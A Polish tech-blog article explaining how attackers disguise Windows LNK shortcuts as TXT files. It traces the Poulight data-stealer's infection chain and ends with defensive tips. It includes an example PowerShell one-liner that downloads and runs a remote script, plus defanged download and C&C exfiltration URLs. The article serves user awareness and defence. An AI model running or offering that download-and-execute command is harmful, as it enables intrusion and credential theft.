Wykonywalne pliki TXT – czy notatnik może być groźny?

W dzisiejszym świecie technologii pliki TXT wydają się nieszkodliwymi, prostymi kontenerami na tekst. Jednak czy otwierając zwykły plik notatnika, naprawdę jesteś bezpieczny? W tym artykule przyjrzymy się, jak cyberprzestępcy wykorzystują maskowanie złośliwego oprogramowania pod postacią plików TXT, opisując mechanizmy ataków, przykłady trojanów oraz praktyczne wskazówki, jak chronić swój system.

Nawet pozornie zwykły plik TXT może stać się przynętą, jeśli ktoś sprytnie podszyje pod niego inny typ pliku.

Czym jest plik TXT? Podstawy bezpieczeństwa prostego formatu

Plik TXT to uniwersalny format przechowujący zwykły tekst bez formatowania, takiego jak pogrubienia, kursywy czy różne czcionki. Jest lekki, kompatybilny z niemal każdym systemem i edytowalny w podstawowych narzędziach, jak Notatnik w Windows.

Sam w sobie format TXT nie wykonuje żadnego kodu i jest bezpieczny – zagrożenie pojawia się dopiero, gdy otwierasz plik z niepewnego źródła lub klikasz zawarte w nim podejrzane linki.

Standardowo Notatnik wyświetla jedynie treść. Problem zaczyna się, gdy plik TXT jest podszywany pod coś więcej – na przykład skrót, który uruchamia polecenie w tle.

Jak cyberprzestępcy maskują malware jako pliki TXT?

Atakujący zwykle nie wstrzykują złośliwego kodu do samego TXT – zamiast tego tworzą pliki LNK (skróty Windows), które udają pliki tekstowe. Zmieniana jest ikona na Notatnik, a w systemach, gdzie domyślnie ukryte są znane rozszerzenia plików, użytkownik widzi “notatnik.txt”, choć faktycznie to skrót.

Po kliknięciu system nie uruchamia Notatnika, lecz wykonuje ukryte polecenie z atrybutu Target pliku LNK, często wykorzystujące PowerShell do pobrania i uruchomienia właściwego malware. Przykładowa komenda może wyglądać tak:

powershell.exe -ep bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('hxxps://zlosliwy-serwer/payload.ps1')"

Takie polecenie potrafi błyskawicznie pobrać i uruchomić szkodliwy moduł (np. build.exe), ukryć go w systemie i nadać mu autostart.

Praktyczny przykład – trojan Poulight: stealer danych z pliku „TXT”

Specjaliści z 360 Total Security opisali kampanię phishingową, w której malware Poulight (aktywny co najmniej od ubiegłego roku) dostarczano jako pozornie nieszkodliwy plik TXT. Poulight to zaawansowany stealer – kradnie poświadczenia, hasła i wrażliwe dane z przeglądarek oraz aplikacji.

Łańcuch infekcji krok po kroku:

1. Pobranie ładunku – kliknięcie w fałszywy plik TXT uruchamia PowerShell, który pobiera build.exe z serwera (np. hxxps://iwillcreatemedia[.]com/build.exe) i maskuje go jako putty3.exe;
2. Sprawdzenie środowiska – malware wykrywa, czy działa w maszynie wirtualnej lub sandboxie (środowisko testowe antywirusów); w takim przypadku może się dezaktywować;
3. Zbieranie informacji – tworzy pliki z danymi systemu, m.in. PC-Information.txt w %LocalAppData% (użytkownicy, nazwa komputera, wersja systemu, antywirus, GPU/CPU) oraz ProcessList.txt w %LocalAppData%\1z9sq09u\ (lista aktywnych procesów, w tym własnego);
4. Kompilacja i kradzież – z zasobów zakodowanych w Base64 dekoduje konfigurację, kompiluje komponent w C++ i tworzy Windows Defender.exe w %TEMP%, który wykrada dane (hasła z przeglądarek, cookies, poświadczenia);
5. Exfiltracja – skradzione informacje są kodowane i wysyłane na serwery C&C (np. hxxp://poullight[.]ru/handle.php, hxxp://gfl.com[.]pk/Panel/gate.php), co 2 sekundy aż do skutku.

Poulight działa w środowisku Windows, jest napisany w .NET i wykorzystuje moduły do wstrzykiwania kodu w procesy. To przykład, jak „stare” triki (fałszywe LNK) łączą się z „nowymi” ładunkami, pozostając skuteczne przeciw nieuważnym użytkownikom.

Dlaczego Notatnik sam w sobie nie jest groźny?

Notatnik (notepad.exe) to prosty edytor tekstu – nie interpretuje skryptów, nie wykonuje makr i nie pobiera plików. Jeśli nie otwiera plików lub zachowuje się podejrzanie, zwykle winne są błędy skojarzeń plików, problemy z rejestrem lub infekcja systemu, a nie sam Notatnik.

Największe ryzyko wynika z konfiguracji systemu i nawyków użytkownika: ukrytych rozszerzeń plików, braku weryfikacji źródła oraz wyłączonej ochrony antywirusowej.

Inne konteksty plików TXT w bezpieczeństwie

Poniżej znajdziesz trzy istotne konteksty bezpieczeństwa związane z plikami TXT:

• security.txt – standard dla stron WWW, czyli plik w ścieżce /.well-known/security.txt z danymi kontaktowymi do zgłaszania luk;
• zaszyfrowane TXT – w systemie plików NTFS można stosować EFS, a odzysk danych wymaga odpowiedniego klucza prywatnego;
• bezpieczne notatki – aplikacje typu Safe Notes (Android) chronią treść PIN-em, biometrią i kopią zapasową lokalnie lub w chmurze.

Jak się chronić? Krok po kroku instrukcja

Oto kompletny przewodnik zapobiegania takim atakom:

1. wyświetlaj rozszerzenia plików – w Eksploratorze Windows: Widok > Pokaż > Rozszerzenia nazw plików;
2. sprawdzaj typ pliku – kliknij prawym > Właściwości i upewnij się, że to „Dokument tekstowy”, a nie „Skrót (LNK)”;
3. używaj izolacji – otwieraj podejrzane pliki w sandboxie lub maszynie wirtualnej (VirtualBox, VMware);
4. zaufany antywirus – skanuj pobrane pliki; renomowane pakiety (np. 360 Total Security) wykrywają znane stealery;
5. ogranicz skrypty PowerShell – ustaw politykę: Set-ExecutionPolicy Restricted;
6. weryfikuj źródła – nie otwieraj TXT z e-maili i komunikatorów bez sprawdzenia; użyj VirusTotal;
7. aktualizuj i filtruj ruch – trzymaj Windows i aplikacje w najnowszych wersjach, a firewall ustaw do blokowania nieznanych połączeń.

Jak szybko rozpoznać problem? Przykłady objawów i działań

Dla szybkiej diagnozy typowych incydentów bezpieczeństwa skorzystaj z poniższego zestawienia:

Artur Brzozowski

Jestem całkowitym, technologicznym freakiem! Założyłem MartwePiksele.pl, aby dzielić się z wami moją wiedzą i testować każdy możliwy sprzęt. Dołączcie do mojej przygody! 🙂